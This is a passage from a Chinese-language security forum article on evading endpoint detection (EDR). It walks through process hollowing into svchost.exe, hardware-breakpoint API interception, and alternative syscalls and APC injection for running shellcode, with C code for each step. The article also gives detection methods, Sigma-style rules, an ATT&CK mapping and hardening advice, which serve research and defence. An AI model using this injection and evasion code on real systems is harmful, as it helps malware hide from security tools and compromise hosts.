`CREATE_SUSPENDED`标志告诉操作系统:创建进程,但不要开始执行主线程。这给了我们时间来修改进程的内存内容。 **步骤2:获取远程进程信息** ```c // 获取PEB地址 PROCESS_BASIC_INFORMATION pbi = { 0 }; NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL); // 读取原始ImageBase PVOID pRemoteImageBase = NULL; ReadProcessMemory(pi.hProcess, (PBYTE)pbi.PebBaseAddress + 0x10, &pRemoteImageBase, sizeof(PVOID), NULL); ``` **步骤3:清空并替换内存** ```c // 清空原始内存 NtUnmapViewOfSection(pi.hProcess, pRemoteImageBase); // 分配新内存(尝试在原地址分配) PVOID pNewBase = VirtualAllocEx(pi.hProcess, pRemoteImageBase, dwPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pNewBase == NULL) { // 原地址分配失败,使用任意地址 pNewBase = VirtualAllocEx(pi.hProcess, NULL, dwPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); } // 写入恶意代码 WriteProcessMemory(pi.hProcess, pNewBase, pPayload, dwPayloadSize, NULL); ``` **步骤4:修改入口点并恢复执行** ```c CONTEXT ctx = { 0 }; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.hThread, &ctx); // 计算新的入口点 PVOID pEntryPoint = GetImageEntryPoint(pPayload); PVOID pNewEntryPoint = (PBYTE)pNewBase + ((PBYTE)pEntryPoint - pPayload); // 修改RCX为新入口点(x64的入口点通过RCX传递) ctx.Rcx = (DWORD64)pNewEntryPoint; SetThreadContext(pi.hThread, &ctx); ResumeThread(pi.hThread); ``` ### 6.5 实战验证  **测试结果分析**: 从测试截图可以看到,Process Hollowing成功创建了一个以svchost.exe为外壳的恶意进程。在任务管理器中,这个进程看起来完全合法。 **绕过的检测点**: | 检测类型 | 检测内容 | 结果 | |---|---|---| | 进程路径检查 | C:\\Windows\\System32\\svchost.exe | ✅ 通过 | | 进程签名检查 | Microsoft Windows签名 | ✅ 通过 | | 父进程链检查 | 父进程是services.exe | ✅ 通过 | | 命令行参数检查 | 无异常参数 | ✅ 通过 | | 内存扫描 | 可能检测到shellcode | ⚠️ 风险 | ### 6.6 检测与防御 **EDR检测方法**: 1. **内存扫描**:检查进程内存中的shellcode特征或RWX内存区域 2. **PE头比对**:比对磁盘文件和内存中的PE头,如果不一致说明被替换 3. **父子进程关系**:检查进程创建链是否合理 4. **模块列表检查**:检查进程加载的模块是否与进程名匹配 **防御建议**: 1. 启用内存扫描功能,定期检查进程内存 2. 监控`NtUnmapViewOfSection`和`VirtualAllocEx`的调用 3. 检查进程的模块列表与进程名是否匹配 4. 启用CFG(控制流完整性)等内存保护机制 - - - - - - 七、Hardware Breakpoint — 硬件断点拦截 ------------------------------ ### 7.1 技术背景 前面介绍的技术都是关于"如何绕过EDR的Hook"。Hardware Breakpoint技术则从另一个角度切入:**利用CPU的硬件调试功能,在不修改任何代码的情况下实现API拦截**。 这个技术的灵感来自于调试器的工作原理。当我们使用调试器(如WinDbg、x64dbg)设置断点时,有两种方式: 1. **软件断点**:修改目标地址的指令,插入一条`int 3`(断点中断)指令 2. **硬件断点**:使用CPU的调试寄存器(DR0-DR3)设置断点,不需要修改任何代码 Hardware Breakpoint技术利用的是第二种方式。由于它不修改目标函数的代码,因此可以绕过基于代码完整性检查的检测。 ### 7.2 CPU调试寄存器详解 x86-64架构的CPU提供了8个调试寄存器: | 寄存器 | 名称 | 用途 | |---|---|---| | DR0 | Breakpoint 0 | 断点地址0 | | DR1 | Breakpoint 1 | 断点地址1 | | DR2 | Breakpoint 2 | 断点地址2 | | DR3 | Breakpoint 3 | 断点地址3 | | DR4 | Reserved | 保留(不使用) | | DR5 | Reserved | 保留(不使用) | | DR6 | Debug Status | 调试状态寄存器 | | DR7 | Debug Control | 调试控制寄存器 | **DR0-DR3**:存储断点的地址。当CPU执行到这个地址时,会触发一个调试异常。 **DR7(调试控制寄存器)**:控制断点的行为,包括: - **L0-L3位**:启用/禁用各个断点(局部断点) - **G0-G3位**:全局断点启用 - **RW0-RW3位**:断点触发条件(00=执行,01=写入,10=I/O,11=读写) - **LEN0-LEN3位**:断点长度(00=1字节,01=2字节,11=4字节) ### 7.3 VEH(向量化异常处理) 当硬件断点触发时,CPU会产生一个异常。Windows提供了VEH(Vectored Exception Handling)机制来处理这类异常。 VEH与SEH(Structured Exception Handling)的区别: - **SEH**:基于帧的异常处理,异常会沿着调用栈向上传播,直到找到匹配的处理函数 - **VEH**:全局的异常处理,优先级高于SEH,异常会先经过VEH处理 ```c // 注册VEH处理器 PVOID pHandler = AddVectoredExceptionHandler( 1, // 优先级(1=最高) VectoredExceptionHandler // 处理函数 ); // VEH处理函数 LONG CALLBACK VectoredExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo) { if (pExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { // 硬件断点触发的异常 // 处理拦截逻辑... return EXCEPTION_CONTINUE_EXECUTION; } return EXCEPTION_CONTINUE_SEARCH; } ``` ### 7.4 技术原理详解  **工作流程**: 1. **设置硬件断点**:将目标API的地址写入DR0寄存器,在DR7中启用断点 2. **程序执行到目标地址**:当程序调用被拦截的API时,CPU会执行到DR0中存储的地址 3. **触发调试异常**:CPU检测到执行地址与DR0匹配,产生一个`STATUS_SINGLE_STEP`异常 4. **VEH处理函数接管**:Windows调用我们注册的VEH处理函数,在这里我们可以: - 检查和修改API的参数 - 记录调用信息 - 决定是否允许执行 - 修改返回地址(拦截调用) 5. **恢复执行**:处理函数返回后,程序继续执行 ### 7.5 代码实现详解 **步骤1:设置硬件断点** ```c BOOL SetHardwareBreakpoint(HANDLE hThread, PVOID pAddress, DWORD dwRegister) { CONTEXT ctx = { 0 }; ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; GetThreadContext(hThread, &ctx); // 设置断点地址 switch (dwRegister) { case 0: ctx.Dr0 = (DWORD64)pAddress; break; case 1: ctx.Dr1 = (DWORD64)pAddress; break; case 2: ctx.Dr2 = (DWORD64)pAddress; break; case 3: ctx.Dr3 = (DWORD64)pAddress; break; } // 启用断点(设置DR7的L位) DWORD dwShift = dwRegister * 2; ctx.Dr7 |= (1 << dwShift); // 设置为执行断点(RW=00) DWORD dwRwShift = 16 + (dwRegister * 4); ctx.Dr7 &= ~(3 << dwRwShift); SetThreadContext(hThread, &ctx); return TRUE; } ``` **步骤2:实现VEH处理函数** ```c LONG CALLBACK VectoredExceptionHandler(PEXCEPTION_POINTERS pExceptionInfo) { PCONTEXT pContext = pExceptionInfo->ContextRecord; if (pExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) { // 检查是否是DR0触发的断点 if (pContext->Dr6 & 0x1) { printf("[!] API Intercepted at %p\n", (PVOID)pContext->Rip); // 执行自定义逻辑 OnApiIntercepted(pContext); // 清除Dr6状态 pContext->Dr6 &= ~0x1; // 设置单步执行标志,确保断点继续生效 pContext->EFlags |= 0x100; // TF (Trap Flag) return EXCEPTION_CONTINUE_EXECUTION; } // 单步执行后重新激活断点 if (pContext->EFlags & 0x100) { pContext->EFlags &= ~0x100; return EXCEPTION_CONTINUE_EXECUTION; } } return EXCEPTION_CONTINUE_SEARCH; } ``` **步骤3:实现拦截逻辑** ```c BOOL OnApiIntercepted(PCONTEXT pContext) { printf("[*] RIP: %p\n", (PVOID)pContext->Rip); printf("[*] RCX: 0x%016llX (Arg1)\n", pContext->Rcx); printf("[*] RDX: 0x%016llX (Arg2)\n", pContext->Rdx); // 检查是否是NtAllocateVirtualMemory if (pContext->Rcx == (DWORD64)GetCurrentProcess()) { // 读取RegionSize参数 SIZE_T regionSize = 0; ReadProcessMemory(GetCurrentProcess(), (PVOID)pContext->R9, &regionSize, sizeof(regionSize), NULL); if (regionSize > 1024 * 1024) { printf("[!] WARNING: Large memory allocation!\n"); } } return TRUE; // 返回TRUE继续执行 } ``` ### 7.6 实战验证  **测试结果分析**: 从测试截图可以看到,硬件断点成功拦截了`NtAllocateVirtualMemory`的调用,而没有修改ntdll.dll中的任何代码。 **技术特点验证**: 1. **无代码修改**:ntdll.dll的代码段保持原始状态 2. **调用栈正常**:由于没有修改代码,调用栈看起来完全正常 3. **参数可见**:可以在VEH处理函数中查看和修改API参数 4. **透明性**:对基于代码完整性检查的检测透明 ### 7.7 检测与局限性 **EDR检测方法**: 1. **调试寄存器检查**:EDR可以检查进程的DR0-DR3寄存器是否被设置。如果发现调试寄存器被设置为API地址,可能触发告警。 2. **VEH处理器枚举**:EDR可以枚举进程中的VEH处理器,检查是否有可疑的异常处理函数。 3. **性能影响**:硬件断点会触发异常处理,这会带来一定的性能开销。EDR可以通过监控异常频率来检测。 4. **仅限4个断点**:DR0-DR3只有4个寄存器,最多只能设置4个断点。 **技术局限性**: 1. **线程级别**:硬件断点是线程级别的,需要在每个目标线程中单独设置。 2. **异常处理开销**:每次断点触发都需要经过异常处理,有一定的性能影响。 3. **单步执行复杂性**:为了保持断点生效,需要使用单步执行(Trap Flag),这增加了实现的复杂性。 - - - - - - 八、利用未导出/冷门系统调用 -------------- ### 8.1 技术背景 前面介绍的技术都是围绕"如何绕过EDR对常见API的Hook"展开的。冷门Syscall技术则采用了不同的策略:**使用EDR未监控的替代API来实现相同的功能**。 这个技术的原理基于一个观察:**EDR的资源是有限的,它不可能监控所有的Windows API**。通常,EDR会重点监控那些最常被恶意软件滥用的API,如: - `NtAllocateVirtualMemory`:内存分配 - `NtWriteVirtualMemory`:内存写入 - `NtCreateThreadEx`:线程创建 - `NtMapViewOfSection`:内存映射 但是,Windows提供了大量的系统调用,其中一些功能相似但不常用的API可能没有被EDR监控。 ### 8.2 常见的替代方案 | 原始API | 替代API | 功能说明 | |---|---|---| | NtAllocateVirtualMemory | NtMapViewOfSection | 内存分配(通过Section对象) | | NtAllocateVirtualMemory | NtReserveVirtualMemory | 保留虚拟地址空间 | | NtWriteVirtualMemory | NtMapViewOfSection + memcpy | 内存写入(映射后复制) | | NtCreateThreadEx | NtQueueApcThread | 线程执行(通过APC队列) | | NtCreateThreadEx | NtAlertResumeThread | 线程创建(挂起后恢复) | | NtOpenProcess | NtGetNextProcess | 进程句柄获取 | ### 8.3 使用NtMapViewOfSection替代NtAllocateVirtualMemory `NtMapViewOfSection`是一个用于内存映射的API,它的主要用途是将文件或页面文件映射到进程的地址空间。但我们可以用它来分配普通的内存: ```c // 步骤1:创建Section对象 HANDLE hSection = NULL; LARGE_INTEGER maxSize = { .QuadPart = 4096 }; NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); // 步骤2:映射到当前进程 PVOID pBaseAddress = NULL; SIZE_T viewSize = 0; NtMapViewOfSection(hSection, GetCurrentProcess(), &pBaseAddress, 0, 4096, NULL, &viewSize, ViewShare, 0, PAGE_READWRITE); // 步骤3:现在可以使用pBaseAddress memcpy(pBaseAddress, shellcode, shellcodeSize); ``` 这种方式的优势是:`NtMapViewOfSection`可能没有被EDR Hook,因此可以绕过检测。 ### 8.4 使用APC注入替代线程创建 APC(Asynchronous Procedure Call,异步过程调用)是Windows提供的一种线程执行机制。我们可以利用APC在现有线程中执行代码,而不需要创建新线程: ```c // 获取目标线程句柄 HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, targetThreadId); // 将代码插入APC队列 NtQueueApcThread(hThread, pFunction, pArg1, pArg2, pArg3); // 等待APC执行 // 当目标线程进入可等待状态时,APC会自动执行 ``` 这种方式的优势是: 1. 不需要创建新线程(NtCreateThreadEx可能被监控) 2. 代码在现有线程中执行,更难被检测 3. 可以利用目标进程的合法线程 ### 8.5 检测与局限性 **EDR检测方法**: 1. **扩展监控范围**:EDR可以增加对更多API的监控,包括冷门API 2. **行为序列分析**:即使单个API没有被监控,但异常的调用序列可能被检测 3. **内核态监控**:无论使用什么用户态API,最终都会经过内核,内核层的监控更难绕过 **技术局限性**: 1. **API可用性**:替代API可能不适用于所有场景 2. **实现复杂度**:使用替代API可能需要更多的代码和更复杂的逻辑 3. **稳定性风险**:使用非标准方式可能带来稳定性问题 - - - - - - 九、对抗升级:EDR厂商的反制措施 ----------------- ### 9.1 内核态监控的强化 随着用户态绕过技术的不断发展,EDR厂商正在加强内核态监控。内核态监控的优势在于: 1. **不可绕过**:无论用户态如何操作,最终都要经过内核 2. **全局视野**:内核可以监控所有进程的行为 3. **更高权限**:内核可以访问任何进程的内存和状态 常见的内核态监控技术: - **进程创建回调**:`PsSetCreateProcessNotifyRoutineEx` - **线程创建回调**:`PsSetCreateThreadNotifyRoutine` - **镜像加载回调**:`PsSetLoadImageNotifyRoutine` - **对象访问回调**:`ObRegisterCallbacks` - **文件系统过滤器**:Minifilter驱动 - **注册表过滤器**:CmRegisterCallback ### 9.2 ETW的深度应用 ETW(Event Tracing for Windows)是Windows内置的事件追踪机制,它可以记录系统级别的事件。EDR可以订阅这些事件,实现对系统行为的全面监控。 关键的ETW Provider: - **Microsoft-Windows-Threat-Intelligence**:专门用于安全监控的ETW Provider - **Microsoft-Windows-Kernel-Process**:进程相关的事件 - **Microsoft-Windows-Kernel-Thread**:线程相关的事件 - **Microsoft-Windows-Kernel-Image**:镜像加载事件 ETW的优势: 1. **内核级别**:ETW事件由内核生成,用户态代码无法阻止 2. **难以禁用**:禁用ETW需要内核权限,且可能被检测 3. **丰富的信息**:ETW可以提供详细的系统调用信息 ### 9.3 基于行为的检测 传统的检测方式是基于API调用的,但现代EDR正在转向基于行为的检测: 1. **调用序列分析**:检查API调用的顺序和组合是否异常 2. **时序分析**:检查API调用的时间间隔是否异常 3. **上下文分析**:检查API调用的上下文(如调用栈、参数)是否异常 4. **机器学习**:使用机器学习模型识别异常行为模式 ### 9.4 未来对抗趋势 1. **硬件辅助安全**:利用CPU的新特性(如Intel CET、ARM PAC)增强安全性 2. **虚拟化安全**:利用虚拟化技术(如VBS、HVCI)保护内核 3. **云原生安全**:将威胁情报和检测规则存储在云端,实时更新 4. **AI驱动检测**:使用人工智能技术识别未知威胁 - - - - - - 十、防御建议与检测思路 ----------- ### 10.1 企业防御加固 针对本文介绍的绕过技术,企业可以采取以下防御措施: **1. 部署高级EDR产品** 选择支持内核态监控、ETW集成、内存扫描的EDR产品。不要只依赖用户态Hook。 **2. 启用系统保护机制** - **CFG(Control Flow Integrity)**:控制流完整性,防止ROP攻击 - **CET(Control-flow Enforcement Technology)**:Intel的硬件级控制流保护 - **HVCI(Hypervisor-protected Code Integrity)**:基于虚拟机的代码完整性保护 - **VBS(Virtualization-based Security)**:基于虚拟化的安全隔离 **3. 应用白名单** 使用AppLocker或WDAC(Windows Defender Application Control)限制未签名代码的执行。 **4. 最小权限原则** 限制用户和进程的权限,减少攻击面。 ### 10.2 蓝队检测规则 **检测Direct Syscall**: ```yaml title: Direct Syscall Detection description: 检测调用栈中缺少ntdll.dll的系统调用 logsource: product: windows service: sysmon detection: selection: EventID: 10 # Process Access CallTrace|contains: 'syscall' filter: CallTrace|contains: 'ntdll' condition: selection and not filter level: high ``` **检测DLL Unhooking**: ```yaml title: DLL Unhooking Detection description: 检测ntdll.dll代码段被修改 logsource: product: windows service: sysmon detection: selection: EventID: 7 # Image Loaded ImageLoaded|endswith: '\ntdll.dll' Signed: 'true' filter: Hashes|contains: '' condition: selection and not filter level: high ``` **检测Process Hollowing**: ```yaml title: Process Hollowing Detection description: 检测可疑的进程创建和内存修改 logsource: product: windows service: sysmon detection: selection_create: EventID: 1 # Process Create ParentImage|endswith: '\services.exe' Image|endswith: '\svchost.exe' selection_memory: EventID: 10 # Process Access CallTrace|contains: 'NtUnmapViewOfSection' condition: selection_create and selection_memory level: critical ``` ### 10.3 ATT&CK映射 | 技术 | ATT&CK ID | 战术 | 描述 | |---|---|---|---| | Direct Syscall | T1106 | 执行 | 原生API调用 | | Indirect Syscall | T1106 | 执行 | 原生API调用 | | DLL Unhooking | T1562.001 | 防御规避 | 禁用或修改工具 | | Process Hollowing | T1055.012 | 防御规避 | 进程注入:进程镂空 | | Hardware Breakpoint | T1055 | 防御规避 | 进程注入 | - - - - - - 十一、技术对比总结 ---------  | 技术 | 检测难度 | 稳定性 | 实现复杂度 | 核心优势 | 主要弱点 | |---|---|---|---|---|---| | Direct Syscall | 中 | 高 | 低 | 简单直接 | 调用栈异常 | | Indirect Syscall | 低 | 高 | 中 | 调用栈完整 | 仍需获取syscall地址 | | DLL Unhooking | 中 | 中 | 中 | 一次性解决所有Hook | 可能触发完整性检查 | | Module Overloading | 低 | 中 | 中 | 利用合法外壳 | 内存扫描可能检测 | | Hardware Breakpoint | 低 | 中 | 高 | 无代码修改 | 仅4个断点 | | 冷门Syscall | 低 | 中 | 高 | 利用EDR盲区 | API可用性有限 | - - - - - - 十二、总结 ----- 本文深入分析了6种主流的EDR绕过技术,从原理到实战代码实现,为安全研究人员提供了完整的技术参考。 **关键要点**: 1. **技术演进**:从Direct Syscall到Indirect Syscall,攻防技术在不断演进。攻击者不断寻找新的绕过方式,防御者不断加强检测能力。 2. **分层对抗**:现代EDR采用多层检测,单一技术难以完全绕过。红队需要组合使用多种技术,蓝队需要部署多层防御。 3. **实战导向**:选择技术时需要考虑稳定性、检测难度、实现复杂度。没有最好的技术,只有最适合的技术。 4. **持续研究**:EDR厂商会不断更新检测规则,红队需要持续研究新技术。这是一个永无止境的攻防对抗过程。 **对红队的建议**: - 理解每种技术的原理和局限性 - 根据目标环境选择合适的技术 - 组合使用多种技术提高成功率 - 持续关注最新的攻防研究 **对蓝队的建议**: - 部署多层防御,不要依赖单一检测方式 - 启用内核态监控和ETW - 定期更新检测规则 - 建立威胁狩猎能力 **免责声明**:本文内容仅供安全研究和授权渗透测试使用,严禁用于非法用途。使用者应遵守当地法律法规,作者不对任何滥用行为承担责任。 - - - - - - 十三、参考资料 ------- ### 工具链接 - [SysWhispers3](https://github.com/klezVirus/SysWhispers3) - 系统调用生成工具 - [HellsGate](https://github.com/am0nsec/HellsGate) - Direct Syscall实现 - [RecycledGate](https://github.com/thirddog/RecycledGate) - Indirect Syscall优化 - [Module Stomping](https://github.com/countercept/Module-Stomping) - 模块替换技术 ### 研究论文 - [Bypassing User-Mode Hooks and Calling Undocumented APIs](https://i.blackhat.com/USA-20/Wednesday/us-20-Le-Guidon-Bypassing-User-Mode-Hooks-And-Calling-Undocumented-APIs.pdf) - [Direct Syscalls vs Indirect Syscalls](https://www.ired.team/offensive-security/defense-evasion/using-syscalls-directly-from-visual-studio-to-bypass-avs-edrs) ### 学习资源 - [ired.team](https://www.ired.team/) - 红队技术知识库 - [cradle](https://cradle.sh/) - 安全研究资源聚合 - [Windows System Call Table](https://www.vergiliusproject.com/kernels/x64/Windows%2011/22H2%20(2022%20Update)/System%20Service%20Descriptor%20Table) - Windows系统调用表 ### 相关书籍 - 《Windows Internals》- 深入理解Windows操作系统内部原理 - 《Practical Reverse Engineering》- 逆向工程实战 - 《The Art of Memory Forensics》- 内存取证技术
发表于 2026-09-16 09:00:02
阅读 ( 1745 )
分类:
漏洞分析
4 推荐
收藏
0 条评论
summer77
1 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!